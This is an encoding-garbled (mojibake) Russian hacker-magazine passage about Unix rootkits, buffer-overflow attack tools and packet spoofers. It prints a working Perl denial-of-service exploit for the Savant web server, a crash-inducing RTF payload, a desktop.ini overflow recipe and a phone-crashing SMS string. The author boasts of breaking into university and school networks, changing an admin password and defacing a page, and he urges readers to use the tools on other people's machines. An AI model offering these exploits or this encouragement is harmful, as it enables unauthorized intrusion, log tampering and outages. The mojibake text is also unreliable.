êîé èíòåðåñíûé ôèíò: åñëè uid ïîëü-
çîâàòåëÿ, ê ïðèìåðó, 1337, òî îí ïîëó-
÷àåò ïðèâèëåãèè ðóòà :). Â îáùåì,
íåïëîõàÿ øòóêîâèíà.

Ïðèâåäó íåêîòîðûå ïåðåìåííûå
ïðîãðàììû äëÿ àêòèâàöèè/äåàêòèâà-
öèè ôóíêöèé: muid - ïðàâà ðóòà, hidf -
ñêðûòèå ïðîöåññà, unin - çàãðóçêà ìî-
äóëÿ, hidn - ñîêðûòèå ip, ïîðòîâ, ôëà-
ãîâ â íåòñòàòå, hidu - ñêðûòü þçåðà,
hidm - ñêðûòü LKM (Linux Kernel
Module).

LINUX ROOT KIT AKA LRK
Îá ýòîé ìàãè÷åñêîé òóëçå ÿ ðàññêà-
æó ïîïîäðîáíåå. Âåäü èìåííî íà
íåé îñíîâûâàåòñÿ áîëüøàÿ ÷àñòü
"ñàìîäåëüíûõ" ðóòêèòîâ. LRK íàïè-
ñàí ÷åëîâåêîì, èçâåñòíûì êàê Lord
Somer. Ýòîò çâåðñêèé íàáîð ñîäåð-
æèò â ñåáå òóåâó õó÷ó ïðîáýêäî-
ðåííûõ ñåðâèñîâ: ñhfn, chsh,
crontab, du, find, ifconfig, inetd, kil-
lall, linsniffer, login, ls, netstat, pass-
wd, pidof, ps, rshd, syslogd, tcpd, top,
sshd, su. Â êîìïëåêò òàêæå âõîäÿò
ñâîè óòèëèòû: bindshell, fix, linsnif-
fer, thesniff, sniffchk, wted, z2. Òåêó-
ùàÿ âåðñèÿ ðóòêèòà 6.0.

Òåïåðü î òîì, ÷òî ýòà òóëçà êîíêðåò-
íî óìååò. À óìååò îíà äàâàòü ðóòà ÷å-
ðåç êîìàíäû chfn, chsh, passwd, rshd,
bindshell, login. Ìîæåò ïðÿòàòü ñâîè è
äðóãèå ôàéëû, ïðîöåññû, ïîðòû, ñîå-
äèíåíèÿ. Óòèëèòà fix ìåíÿåò âðåìÿ è

ñèñòåìíóþ äàòó ôàéëîâ, ñ ïîìîùüþ
if-êîíôèãà ïðÿ÷åò ôëàã PROMISC, êîã-
äà þçàåøü ñíèôôåð. Killall ïîçâîëÿåò
ñäåëàòü ïðîöåññû íåóáèâàåìûìè, ñî-
äåðæèò â ñåáå íåïëîõîé ñíèôôåð.
Åñëè ëîãèíèøüñÿ ïî ssh ïîä ïîëüçî-
âàòåëåì, êîòîðîãî òû óêàçàë ïðè êîí-
ôèãóðàöèè ðóòêèòà (ïî äåôîëòó
rewt), òî íè÷åãî íå áóäåò ïèñàòüñÿ â
ëîãè. Syslogd íå âåäåò ëîãè íà îïðå-
äåëåííîãî ïîëüçîâàòåëÿ, äåëàåò äîñ-
òóï ñ òâîåãî õîñòà íåëîãèðóåìûì. Z2
aka Zapper2 óäàëÿåò ïîñëåäíèå
utmp/wtmp/lastlog. Òàêæå Linux Root
Kit ñîäåðæèò ìíîãî äðóãèõ ïîëåçíûõ
âåùåé, ðåêîìåíäóþ òåáå ïðî÷èòàòü
äîêóìåíòàöèþ (README èç àðõèâà),
òàì îïèñàíî íàìíîãî áîëüøå âîç-
ìîæíîñòåé, êîòîðûå ìîãóò ñûãðàòü
âàæíóþ ðîëü â êîíêðåòíîì ñëó÷àå.

ROOTKIT-SUNOS
À òåïåðü íåìíîãî âêóñíîñòåé. Ìû ïî-
ãîâîðèì î ðóòêèòå, êîòîðûé îòíîñèò-
ñÿ ê ãðóïïå âåñüìà äåôèöèòíûõ. Ýòî
ðóòêèò ïîä SunOS è íàçûâàåòñÿ îí
rootkitSunOS.tgz, ïðîñòî è ïîíÿòíî.

Ñòîèò çàìåòèòü, ÷òî ýòîò ðóòêèò ÷åì-
òî ïîõîæ íà LRK ;). Rootkit-SunOS òðî-
ÿíèò login, netstat, ps, ls, du. Ñîäåðæèò
â ñåáå ñíèôôåð - es, ëîãêëèíåð, òîò
æå ñàìûé, ÷òî è â lrk - z2 (znipper2), à
òàêæå fix, êîòîðûé ìåíÿåò äàòó è âðå-
ìÿ íà "ïðàâèëüíûå". Ìîæåò äàâàòü è
íå äàâàòü ñâîèì ïðîöåññàì suid ïðà-
âà. Ñêðûâàåò ïðîöåññû, ïîðòû, ôàé-
ëû, ñîåäèíåíèÿ, ïîëüçîâàòåëåé.
Ïðàâäà, â ñêðûòèè ïðîöåññîâ åñòü êî-
ñÿê: òóëçà top ïîêàçûâàåò âñå ïðîöåñ-
ñû ïîëþáý ;(, è ýòî íå åñòü ãóò, íî àâ-
òîð ðàáîòàåò íàä ïàò÷åì.

Óñòàíîâêà ñâîäèòñÿ, êàê âñåãäà, ê
make all install.

Â îáùåì, ñàì âèäèøü, ÷òî â ïðà-
âèëüíîé îñè âñå äîâîëüíî øîêîëàä-
íî. Êàê ãîâîðèòñÿ, ÷óçü óíä þçü.

E

Linux Root Kit
ñîäåðæèò ìíî-

ãî äðóãèõ ïî-
ëåçíûõ âåùåé,

ðåêîìåíäóþ
òåáå ïðî÷è-

òàòü äîêóìåí-
òàöèþ

(README èç
àðõèâà).

LRK

Çàãðóæàåì LRK

Äóìàþ, òåáå áóäåò èíòåðåñíî
óçíàòü, êàêèå ðóòêèòû îñíîâàíû
íà lrk. Âîò ëèøü ÷àñòü èç íèõ:
Ambient's Rootkit for Linux (ARK),
Ramen Worm, rh[67]-shaper,
RSHA, Romanian rootkit, RK17, Lion
Worm, Adore Worm, LPD Worm,

kenny-rk, Adore LKM, ShitC Worm,
Omega Worm, Wormkit Worm, dsc-
rootkit, RST.b, duarawkz, knark
LKM, Monkit, Hidrootkit, Bobkit,
Pizdakit. Ïîñëåäíèé, ïî-ìîåìó,
èñòèííî ðóññêîãî ïðîèçâîäñòâà ;).

S O F T



Êàê òû çíàåøü, äàðàãîé ìîé õóöêåð, íàéòè ñàìîìó óÿçâèìîñòü ïåðåïîëíåíèÿ áóôåðà â
ñåðâåðíîì ÏÎ, à òåì áîëåå íàøêîäèòü ïëîèò - äåëî äàëåêî íå ïÿòè ìèíóò. Òåáå æå
õî÷åòñÿ çäåñü è ñåé÷àñ, áåç ïðåçèêà è áåç ïîñëåäñòâèé :)

êè! Ïðåäëàãàþ ïðîâåñ-
òè ðàçáîð ïîëåòîâ ñîô-
òèí è ñïîñîáîâ àòàêè,

ïåðåïîëíÿþùèõ áóôåð. Â ìîé îáçîð
óãîäèëè ñëåäóþùèå ôðóêòû:
GetAdmin, íþêåð RPCNuke è ìíîãî
HTML-êîäà äëÿ âñåìè ëþáèìîãî
åêñïëîðåðà.

ÇÀÃÐÅÁÀÅÌ ÆÀÐ 
×ÓÆÈÌÈ ÐÓÊÀÌÈ
Íà÷íåì ñ ñîôòèí. Ïðåäñòàâëÿþ
GetAdmin, ïðîãðàììó, äàþùóþ â ðóêè
îáû÷íûì þçåðàì ñèñòåìíóþ êîíñîëü!
Åñëè òû ñïðàøèâàåøü, íà èêñ òåáå
êîíñîëü, äà åùå è ñèñòåìíàÿ, åñëè ó
òåáÿ åñòü GUÉ (ãðàôè÷åñêèé èíòåð-
ôåéñ), òî òû ñìåðòíûé ëàìåð... Çíàé
æå, î íåïðîñâåùåííûé, ÷òî âñå
äåéñòâèÿ ïî àäìèíèñòðèðîâàíèþ ÎÑ
ïðîèçâîäÿòñÿ â êîíñîëè ðó÷êàìè, à
íå â åêñïëîðåðå êðûñîé. Ïîêà òû åùå
íå ñèëüíî êðóò â äåëàõ êîíñîëüíûõ,
çàïîìíè âåñåëåíüêóþ êîìàíäó ñìåíû
ïàññâîðäà ó àäìèíà: net user adminis-
trator. Èç àäìèíñêîé êîíñîëè òåáå
ïðèøëîñü áû ââîäèòü ñòàðûé ïàñ-
ñâîðä, êîòîðîãî òû, åñòåñòâåííî, íå
çíàåøü, à èç ñèñòåìíîé êîíñîëüêè òå-
áå ïàññâîðä àäìèíà-äóðàêà íå íóæåí!
Âîò ÷åì ñèñòåìíàÿ êîíñîëü êðó÷å ëþ-
áîé äðóãîé.

Ïåðåõîäèì, ñîáñòâåííî, ê ñàìîé
ñîôòèíå. Ýòà çàìóòêà ïî ñâîåìó ïðèí-
öèïó ðàáîòû - òèïè÷íûé ñïëîèò ïåðå-
ïîëíåíèÿ áóôåðà: çàêèäûâàåò ñòåê,
âûçûâàåò ñèñòåìíóþ êîíñîëü. ß ñ ïî-
ìîùüþ ýòîé ñîôòèíû ïîèìåë õàëÿâ-
íîãî Èíåòà â ñâîåì ðîäíîì ó÷. çàâå-
äåíèè. Ó âñåõ îí áûë îòêëþ÷åí, êðîìå
àäìèíà, à ÿ âäðóã ñàì ñòàë àäìèíîì è
ïîñåðôèë Èíåòà íà õàëÿâó :). Ðåêî-
ìåíäóþ òåáå ñèþ òóëçó äëÿ ïîâñåä-
íåâíîãî èñïîëüçîâàíèÿ íà ÷óæèõ
êîìïàõ. Êñòàòè, îíà ðàáîòàåò è íà
ÕÐþøêå, è íà 2Ê.

Ñëåäóþùèì ïåðåïîëíÿëüùèêîì áó-
ôåðà íàì ïîñëóæèò íþêåð, çîâóùèé-
ñÿ RPCNuke âåðñèè 1.0. Êñòàòè, íàïè-
ñàí îí íàøèìè ñîîòå÷åñòâåííèêàìè,
ïðàâäà, ôåéñ ó íåãî àíãëèéñêèé. Èç
ïëþñîâ: ìàññîâîå óáèéñòâî öåëîãî
äèàïàçîíà àéïèøíèêîâ è âîçìîæ-
íîñòü óáèéñòâà â áåñêîíå÷íîì öèêëå,
÷òî êðàéíå íåîáõîäèìî ïðè ïëîõîé
ñâÿçè èëè óïðÿìñòâå òà÷êè ëàìåðà :).
Ïðèíöèï ðàáîòû âñå òîò æå - ïåðåïîë-
íåíèå. Ýòà ñîôòèíà ìîæåò óäàëåííî

óáèâàòü ñèñòåìû òèïà âèíäîâñ 2ê èëè
ÕÐ, ïðè÷åì ÕÐåíü ïàäàåò íà ðåáóò, à
2000-ê ñî âòîðûì ïàêîì òîëüêî
îøèáêó èçîáðàæàåò (æàëü!). Ýòó âåùü
âñå must have, îäíîçíà÷íî! Óòàùèòü
ìîæíî çäåñü: www.hitu.ussr.to, èëè
çäåñü: www.immunitysec.com.

Ê íåñ÷àñòüþ, ýòî âåñü íàáîð èíòå-
ðåñíûõ ñîôòèí ïî òåìå :(. Îñòàëüíûå
ïðîãè, ïîïàâøèå êî ìíå, ëèáî íå ðà-
áîòàþò íà ÕÐåíè, ëèáî íå ïîêàçàëè
äîëæíîé ýôôåêòèâíîñòè.

ÐÓ×ÊÀÌÈ ÅÅ, ÐÓ×ÊÀÌÈ!
À ñåé÷àñ ïîðà ïîðàáîòàòü ðó÷êàìè!
Âîò êàêèå óÿçâèìîñòè íà ïåðåïîëíå-
íèå áóôåðà òû ñìîæåøü ðåàëèçîâàòü
ñàì, à ïðè æåëàíèè è íàêîäèòü
ýêñïëîèò. Ñðàçó îãîâîðþñü, ÿ èõ òåñ-
òèë, è ìíå ïîíðàâèëîñü :)!

ÁÅÄÍÛÉ, ÁÅÄÍÛÉ IIS!
Óÿçâèìîñòü ïåðåïîëíåíèÿ áóôåðà â
IIS âåðñèè 4.6. Îñíîâà - äûðà ïðè ðà-
áîòå ñ ïðîòîêîëîì Gopher. Íàïàäåíèå
ìîæåò áûòü íà÷àòî ÷åðåç web-ñòðàíè-
öó èëè ñîîáùåíèå ìûëüíîé ïî÷òû, ñî-
äåðæàùèå HTML'êè, êîòîðûå ïåðåàä-
ðåñóåò ïîëüçîâàòåëÿ ê õàêåðñêîìó
Gopher-ñåðâåðó. Çëîñòíûì ñåðâàêîì
ìîæåò áûòü ïðîñòàÿ ñîôòèíà, êîòîðàÿ
äîëæíà óìåòü ñëóøàòü è ïèñàòü íà
TCP ïîðò. Äëÿ âûïîëíåíèÿ àòàêè óñòà-
íîâêà ïîëíîãî ãîôåð-ñåðâàêà íå òðå-
áóåòñÿ. Õàêåð, þçàÿ ñåé îãðåõ, ìîæåò
ñäåëàòü òî, ÷òî îáû÷íûì þçåðàì íå-
äîñòóïíî: ÷èòàòü, ðåäàêòèðîâàòü, óäà-
ëÿòü ëþáûå ôàéëû, çàêà÷èâàòü ñîô-
òèíû è âûïîëíÿòü èõ íà êîìïå æåðò-
âû. Ê íåñ÷àñòüþ, ýêñïëîèò åùå íå âû-
ïóùåí :(, òîëüêî òåîðèÿ... Çàùèòà,
ïðåäëàãàåìàÿ íàðîäíûìè óìåëüöàìè,
ïðîñòà - âûðóáèòü â íàñòðîéêàõ ïðîòî-
êîë Gopher, âåäü â Èíåòå î÷åíü ìàëî
òàêèõ ñåðâàêîâ. Çà áîëåå ïîäðîáíîé
èíôîé ïîëçè íà íàðîäíî ëþáèìûé
www.microsoft.com/technet/security/c
urrent.asp.

Ïðîäîëæàþ ìó÷èòü "âåëèêèé" ñåð-
âàíò îò ìåëêîìÿãêèõ. Ñåé÷àñ â îïàëó
ïîïàë IIS âåðñèåé 4.5. Ïåðåïîëíåíèå
áóôåðà íàøëè â êîìïîíåíòå
ASP.DLL. CHINANSL Security Team
ïåðâûìè ïðåäñòàâèëè ðàáîòàþùèé
ýêñïëîèò, êîòîðûé, ïðàâäà, òåñòèðî-
âàëñÿ íà êèòàéñêîé âåðñèè Windows
2000 :), íî, òåì íå ìåíåå, îí î÷åíü
êðóò! Ýêñïëîèò ïåðåïîëíÿåò áóôåð è

îòêðûâàåò 1111-é ïîðò, íà êîòîðûé âå-
øàåò ñèñòåìíóþ êîíñîëü âèíäîâ! Êîä
ýòîãî ÷óäà ìîæíî âçÿòü òóò:
http://www.securitylab.ru/?ID=30586.
ß åãî ñëèë, ñêîìïèëèë, çàïóñòèë è,
êàê ÷åñòíûé ÷åëîâåê, ïðîòåñòèë íà
èíôîðìàòèêå â óíèâåðñêîé ñåòêå (Âà-
ëåðà, ïðèâåò!), ãäå àäìèí ïîñòàâèë ñå-
áå ñåðâåð íà âèíäàõ :). Íó ÷òî ñêà-
çàòü... Çðÿ îí ïàò÷è íå ñòàâèë - ÿ ñìå-
íèë ïàðîëü àäìèíà, çàäåôåéñèë ãëàâ-
íóþ ñòðàíè÷êó, ïîêîâûðÿë ìûëî, è
âñå ýòî ëåãêî è êðàñèâî ÷åðåç êîìà-
íäíóþ ñòðîêó! Íî áûë çàìå÷åí îäèí
ãëþê: èíîãäà íà ñåðâàêå âûñêàêèâàåò
ìåññàãà îá îøèáêå occured.anyhow;
åñëè þçåð íå çàêðîåò îêîøêî, òî
ýêñïëîèò íå áóäåò ôóðû÷èòü :(.

Äàëüøå ïîëíèì áóôåð ïîñëåäíèõ
ðàçðàáîòîê ìåëêèõ: ëîêàëüíîå ïåðå-
ïîëíåíèå áóôåðà â explorer.åõå. Ñðà-
çó ñêàæó, ÷òî ýòîò ôèíò èñêëþ÷èòåëü-
íî ïîä ÕÐåíü - íàðîä òåñòèë íà
Windows XP SP1, è ó íèõ ðàáîòàëî, à ó
ìåíÿ íà W2k pro rus SP2 íå õî÷åò.

ÝÊÑÏËÎÈÒ
Íóæíî íàìóòèòü ôàéë desktop.ini ñî
ñëåäóþùèì ñîäåðæèìûì:

[.ShellClassInfo]
AAA... (âñåãî 2300 ñèìâîëîâ).

Ïåðåïîëíåíèå áóôåðà ïðîèñõîäèò
ïðè ïðîñìîòðå êàòàëîãà, ãäå ëåæèò
ýòîò desktop.ini. Êàê èñïîëüçîâàòü, äó-
ìàþ, ñàì äîãàäàåøüñÿ.

ÔÈËÜÌÛ È ÌÓÇÛÊÀ � 
ÎÏÀÑÍÛ!
Åêñïëîðåð âîèñòèíó ïîëîí äûð íà ïå-
ðåïîëíåíèå: ïðè àâòîìàòè÷åñêîì ÷òå-
íèè àòðèáóòîâ ôàéëîâ MP3 è WMA
Åêñïëîðåðîì Windows XP ïðîèñõîäèò
ïåðåïîëíåíèå áóôåðà, äàþùåå âîç-
ìîæíîñòü óäàëåííîãî èñïîëíåíèÿ
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Ïîñëå ïîëó÷å-
íèÿ ñåãî çëîñò-
íîãî ïîñëàíèÿ
òåëåôîí 
ìîìåíòàëüíî
âûðóáàåòñÿ 
ñ êàêèì-òî
ñòðàííûì 
ïóêàíüåì

À ÿ âäðóã ñòàë
àäìèíîì è ïî-
ñåðôèë Èíåòà
íà õàëÿâó:).
Ðåêîìåíäóþ
òåáå ñèþ ñîô-
òèíó äëÿ ïîâ-
ñåäíåâíîãî èñ-
ïîëüçîâàíèÿ íà
÷óæèõ êîìïàõ

Íàø ãåðîé!

ÏÛØÍÛÅ ÁÓÔÅÐÀ



ïðîèçâîëüíîãî êîäà â ñèñòåìå. À ñà-
ìîå-òî èíòåðåñíîå, ÷òî ôàéë äàæå íå
íàäî îòêðûâàòü íà âîñïðîèçâåäåíèå,
- ïðîÿâëåíèå ãëþêà ïðîèñõîäèò ïðè
ïðîñòîì ïðîñìîòðå ïàïêè, â òîì ÷èñ-
ëå ÷åðåç Internet, ðàñøàðåííûé êàòà-
ëîã è ò.ä. Êîíå÷íî, çâóêîâîé ôàéë
äîëæåí èìåòü ñïåöèàëüíûå òåãè, íî
ýêñïëîèò óæå â ïóòè. Âîçìîæíî, êîãäà
òû áóäåøü ÷èòàòü ýòè ñòðîêè, åãî óæå
ìîæíî áóäåò íàéòè íà www.security-
lab.ru. È õîòÿ ýêñïëîèò åùå íå ãîòîâ,
äÿäÿ Áèëë óæå ïîäñóåòèëñÿ è âûïóñ-
òèë ïàò÷èê, êîòîðûé íóæíî ñëèòü ñ
ìåëêîìÿãêîé ïàãè, òàê ÷òî ñ÷àñòëèâûå
þçåðû ÕÐþøè ñìåëî áåãèòå è îòäà-
âàéòå òðàô çëîìó Ãåéòñó.

ÇËÎÁÍÛÉ ÒÅÊÑÒÎÂÈÊ
Áðåäåì äàëüøå. Security Defence
Stdio ñîîáùèëè, ÷òî â Windows
'riched20.dll' îáíàðóæåíî ïåðåïîëíå-
íèå áóôåðà, ïîçâîëÿþùåå óäàëåííî-
ìó ïîëüçîâàòåëþ àâàðèéíî ïðèáèòü
ïðèëîæåíèå. Ïåðåïîëíåíèå áóôåðà
ìîæåò áûòü âûçâàíî ñïåöèàëüíî îá-
ðàáîòàííûìè àòðèáóòàìè â RTF ôàé-
ëå, êîãäà DLL ðèñóåò figure-string
('\fs'). Ïåðåïîëíåíèå áóôåðà ïðîèñ-
õîäèò, êîãäà (\fs) óñòàíàâëèâàåò ðàç-
ìåð øðèôòà, ïðåâûøàþùèé 1024
áàéò. Äðóãèå àòðèáóòû ìîãóò áûòü
òàêæå óÿçâèìû. Âîò êàê âûçûâàëè ïå-
ðåïîëíåíèå:

{\rtf1\ansi\ansicpg936\deff0\deflang1033\de
flangfe2052
{\fonttbl{\f0\fnil\fprq2\fcharset1 34
\'cb\'ce\'cc\'e5;}}
{\colortbl;\red255\green0\blue255;}
\viewkind4\uc1\pard\cf1\kerning2\f0
\fs18121111111111111111111111111111111110000
www.yoursft.com\fs20\par}.

ÎÁÂÀË ÁÀÍÍÅÐÎÂ
À ñåé÷àñ ïîïîëíèì áóôåðîê â þíèõå:
BannerWheel (áåñïëàòíûé ñöåíàðèé
äëÿ ïîêàçà áàííåðîâ äëÿ UNIX ñèñ-
òåì). Âîò òàê åãî ìîæíî âûðóáèòü:

[vint@signal-11 ~/hack/idea]$ gcc badmin. c -o
badmin. cgi -lcrypt [vint@signal-11
~/hack/idea]$ . /badmin
bwe(input): "command" ? kill. the. turkey
bwe(input): "rcmd" ? ÀÀÀ(300
ðàç)Segmentation fault
[vint@signal-11 ~/hack/idea]$

Âñå! Áóôåð ïîëîí, ñî âñåìè âûòåêà-
þùèìè.

ÁÀÃ ÍÀ ÕÀËßÂÓ
Âîò äûðà âî ôðèøíîì web-ñåðâåðå ñ
îòêðûòûì èñõîäíûì êîäîì Savant äëÿ
9x, ME, NT, 2000-õ è ÕÐåíîâûõ âèí-
äîâ. Òàì íàøëè ïåðåïîëíåíèå áóôåð-
êà è íàïèñàëè åêñïëîèò:

#!/usr/bin/perl
use IO::Socket;
$host=$ARGV[0];
$port=$ARGV[1];
$a=A; if(! $ARGV[0]) {&usage; exit;}
$dosme = IO::Socket::INET->new(PeerAddr =>

$host, PeerPort => $port, Proto => 'tcp');
$evilc0de = $a x 300;
print $dosme "GET /$evilc0de ";
sleep(3);
close($dosme);
print "Daemon should now be crashed";
sub usage() { print "USAGE: perl $0"; print
"Savant Web Server 3.1 Buffer Overflow";
exit(0); }

Áîëåå ïîäðîáíî íà http://soldierx.com.

ÂÈÑßÊ ÍÀ ÎÁÙÀÊ
Íàøëè äûðêó è â SMB (Server
Message Block) - ïðîòîêîëå, êîòîðûé
ìåëêîìÿãêèå èñïîëüçóåò äëÿ îðãà-
íèçàöèè îáùåãî äîñòóïà ê ôàéëàì,
ïðèíòåðàì, ïîñëåäîâàòåëüíûì ïîð-
òàì, à òàêæå äëÿ ñâÿçè ìåæó êîìïü-
þòåðàìè ñ èñïîëüçîâàíèåì èìåíî-
âàííûõ êàíàëîâ è ïî÷òîâûõ ñëîòîâ.
Êëèåíò äåëàåò SMB çàïðîñ î ðåñóð-
ñå, è ñåðâåð îòâå÷àåò êëèåíòó SMB
ïàêåòîì, èñïîëüçóÿ
request/response ïðîòîêîë.

Ñïåöèàëüíî îáðàáîòàííûé SMB
çàïðîñ ìîæåò ïðèâåñòè ê çàâèñàíèþ
ñèñòåìû. Äëÿ âûïîëíåíèÿ ñåé àòàêè
òåáå ìîæíî èìåòü ëèøü àíîíèìíóþ
ó÷åòíóþ çàïèñü! Óÿçâèìîñòü ìîæåò
èñïîëüçîâàòüñÿ äëÿ âûïîëíåíèÿ
ïðîèçâîëüíîãî êîäà. Äûðà íàéäåíà
â Windows NT 4.0 Workstation,
Windows NT 4.0 Server, Windows
2000 Professional, Windows 2000
Server, Windows 2000 Advanced
Server, XP Professional. Òî åñòü âà-
ëÿòñÿ âñå NT'øíûå ÎÑû. Ýêñïëîèò
èùè íà ñåêüþðèòèçîíå. Åãî ïîêà òàì
íåò, íî îáåùàþò!

×ÈÑÒÀ ÁÎÍÓÑ :)
È íàïîñëåäîê ÷èñòî ôðèêåðñêîå ïå-
ðåïîëíåíèå áóôåðà â ñîòîâèêå
Siemens ñåðèè 45.

×óòîê òåîðèè: äëÿ âñòàâêè â ñîîá-
ùåíèå êàðòèíêè èñïîëüçóåòñÿ òàêàÿ
êîíñòðóêöèÿ: "%IMG_NAME", âîò òóò-
òî è êðîåòñÿ ãëþê íà ïåðåïîëíåíèå.
157 òî÷åê, ïîñòàâëåííûå â òåãå, óêà-
çûâàþùåì íà êàðòèíêó, áóäóò ñëó-
æèòü ïðè÷èíîé ïåðåïîëíåíèÿ áóôå-
ðà â òåëåôîí÷èêå. Ïîñëå ïîëó÷åíèÿ
ñåãî çëîñòíîãî ïîñëàíèÿ òåëåôîí ìî-
ìåíòàëüíî âûðóáàåòñÿ ñ êàêèì-òî
ñòðàííûì ïóêàíüåì. Êîãäà òû åãî
âêëþ÷èøü, îí áóäåò ðàáîòàòü êàê
âñåãäà, íî çàéòè â Message->Inbox òå-
áå áóäåò î÷åíü ïðîáëåìàòè÷íî. Ðåøå-
íèå ñåãî òðàáëà åñòü òîëüêî îäíî -
æäàòü, ïîêà ðàçðàáîò÷èêè âûïóñòÿò
íîâóþ âåðñèþ ïðîøèâêè, è òîãäà çà-
êà÷àòü åå â òåëåôîí.

EXIT(0)
Âîò òàêàÿ âåñåëàÿ êàðòèíêà âûðèñî-
âûâàåòñÿ ñ èñïîëüçîâàíèåì ïåðåïîë-
íåíèé â íàøåé íåëåãêîé æèçíè. È åñ-
ëè òû õî÷åøü íîñèòü ãîðäîå çâàíèå
áîéöà íåâèäèìîãî ôðîíòà, òî òåáå
îâëàäåòü ñåé òåõíîëîãèåé ïðîñòî íå-
îáõîäèìî.

E



Ïåðåö, òåáå íå ïðèõîäèëî â ãîëîâó ðàñêîâûðÿòü ïàêåò äàííûõ, íàïèõàòü òóäà ïîáîëüøå
ìóñîðà è áðîñèòü åãî â êîìï? Íå èç çëîãî óìûñëà, à òàê, ðàäè ýêñïåðèìåíòà. Åñëè
ïðèõîäèëî, òî ñåé÷àñ òû óçíàåøü ìíîãîå î êîâûðÿëêàõ è êèäàëêàõ ýòèõ ñàìûõ ïàêåòîâ.

ðåæäå ÷åì ïðåïàðèðî-
âàòü ïàêåòû, äàâàé âûÿñ-
íèì, çà÷åì íàì ýòî íóæíî.

×ÒÎ ÒÀÊÎÅ ÑÏÓÔÅÐ?
Ñïóôåðû - ýòî ïðîãðàììû, ñ ïîìîùüþ
êîòîðûõ òû ñìîæåøü ïîñëàòü â ñåòü
ëþáîé ïàêåò äàííûõ. Âñåãî èõ íåñ-
êîëüêî îñíîâíûõ âèäîâ. Â ïåðâóþ
î÷åðåäü ýòî ñïóôåðû, ñêàæåì òàê,
âûñîêîãî óðîâíÿ. Ê íèì îòíîñÿòñÿ âñå
ïðîãè, êîòîðûå øëþò â ñåòü ïàêåòû
ïðèêëàäíîãî óðîâíÿ. Ýòî âñÿêèå mail-
áîìáåðû, ñêàíåðû âåá-ïàãîâ è äàæå
áðóò-ôîðñåðû äëÿ ëîìêè pop3-àêêà-
óíòà. Êîðî÷å, ýòî âñå, ÷òî ìîæåò ñëàòü
ïàêåòû â íå ñîâñåì ñòàíäàðòíîì êî-
ëè÷åñòâå èëè êà÷åñòâå.
Íàïðèìåð, îòëè÷èå ñïóôåðà îò îáû÷-
íîãî ìûëåðà â òîì, ÷òî îí ìîæåò ñàì
ïåðåáðàòü ôàéë ñî ñïèñêîì ïàðîëåé.
Èëè ðàçîñëàòü òîííû ïèñüìèøåê ïî
ðàçíûì àäðåñàì. Ê íèì æå ìîæíî îò-
íåñòè îñòàëüíûå áðóò-ôîðñåðû, íàïðè-
ìåð, ëîìàëêè ftp-àêêàóíòîâ. Íî ýòî íå
èíòåðåñíûå ñïóôåðû, ïîñêîëüêó îíè
òîëüêî óïðîùàþò æèçíü, íî íå ïîçâî-
ëÿþò äåëàòü ÷òî-òî íåñòàíäàðòíîå.

×ÅÌ ÍÈÆÅ, ÒÅÌ ÈÍÒÅÐÅÑÍÅÅ
Ñïóôåðû, ñêàæåì òàê, íèçêîãî óðîâíÿ
íåìíîãî èíòåðåñíåé. Ýòî ïðîãè, êîòî-
ðûå ïîçâîëÿþò ïîñëàòü ëþáîé TCP
èëè UDP ïàêåò. Íà ïåðâîì ìåñòå ñòîèò
ëþáèìûé telnet. Ïîëüçóÿ åãî íà 80-ì
ïîðòó, ìîæíî óçíàòü, êàêîé ñòîèò ñåð-
âàê ó òâîåãî "òîâàðèñ÷à". Ïîëüçóÿ íà
21-ì ïîðòó, ìîæíî âûÿñíèòü âåðñèþ è
ïðîèçâîäèòåëÿ ftp-ñåðâåðà. Âîîáùå,
ýòî êðàéíå ïîëåçíàÿ óòèëèòà. Ïðè æå-
ëàíèè è ñíîðîâêå ìîæíî ïîñëàòü ïà-
êåò buffer-overflow ñ øåëëîì. Íî ýòî
ðàâíîñèëüíî íàïèñàíèþ àñì-êîäà â
far'å, òî åñòü òåîðåòè÷åñêè âîçìîæíî,
íî ïðàêòè÷åñêè íèêòî íå ïðîáîâàë.
Ñïóôåðû ïàêåòíîãî óðîâíÿ äàþò âîç-
ìîæíîñòü ïîñûëàòü âîîáùå âñå, ÷òî
òåáå óãîäíî. Òî åñòü òû ìîæåøü ïîñ-
ëàòü ïàêåò ñ áèòîé êîíòðîëüíîé ñóì-
ìîé. Ñ íåâåðíûì èñõîäÿùèì IP-àäðå-
ñîì. Ñ ëåâûì èñõîäÿùèì ïîðòîì (äà-
æå íóëåâûì). Ìîæíî âîîáùå íàòâî-
ðèòü î÷åíü ìíîãî. Èìåííî ýòîò âèä
ñïóôåðîâ, êàê ïðàâèëî, ðàññìàòðèâà-
åòñÿ êàê "ñïóôåðû". Íà ïðèíöèïå
ëîæíîãî ïîñûëà èñõîäÿùåãî IP, òî

åñòü êàê áû ïîäìåíå òâîåãî àäðåñà,
îñíîâàíà àòàêà, íàçûâàåìàÿ smurf.
Â òàêèõ ïðîãàõ îáû÷íî ìîæíî ïîñû-
ëàòü ïàêåòû, ôîðìèðóÿ èõ íà Ethernet
óðîâíå. Òî åñòü ìîæíî ïîñëàòü àáñî-
ëþòíî ïðàâèëüíûé ïàêåò, íî ñ äðóãîé
ñåòåâîé êàðòî÷êè, êîòîðîé è â ïðèðî-
äå ìîæåò íå ñóùåñòâîâàòü.

ÏÐÈÊËÀÄÓÕÀ
Ïðåæäå âñåãî õî÷åòñÿ âñïîìíèòü
IcnewQ. Â íåé ïîä spoof ïîíèìàëàñü
ðàññûëêà ñîîáùåíèé îò äðóãîãî UIN-
à. Ñàìî ïî ñåáå áåçîáèäíîå çàíÿòèå,
íî òîëüêî íå äëÿ äðåâíåé 98-îé àñè.
Äîñòàòî÷íî áûëî ïîñëàòü ñîîáùåíèÿ
îò ïðèìåðíî ïÿòèäåñÿòè ÷åëîâåê, äëÿ
òîãî ÷òîáû çàïàðèòü ïåðöà è äîáèòü-

ñÿ îò íåãî óäàëåíèÿ ñîîáùåíèé áåç
ïðåäâàðèòåëüíîãî ïðîñìîòðà. Ïîñëå
÷åãî ïîñëàòü åìó ñîîáùåíèå îò åãî
æå UIN-à. Ýòî íàçûâàëîñü õàíà òåòå
àñå. Ïîñëå óäàëåíèÿ ñàìîãî ñåáÿ ïå-
ðåö óëåòàë èç àñüêèíîé ñåòè, èíîãäà
ïðîñòî äî ïåðåçàãðóçêè, èíîãäà äî ïå-
ðåóñòàíîâêè àñè. Äëÿ àñè åñòü åùå
îäèí âûñîêîóðîâíåâûé ôëóäåð, êîòî-
ðûé çîâåòñÿ ICQRevenge. Ñ íåãî ìîæ-
íî çàñëàòü ïà÷êó ïèñåì, êîòîðûå ñâå-
òÿòñÿ â àñå òàêèìè ìàëåíüêèìè áå-
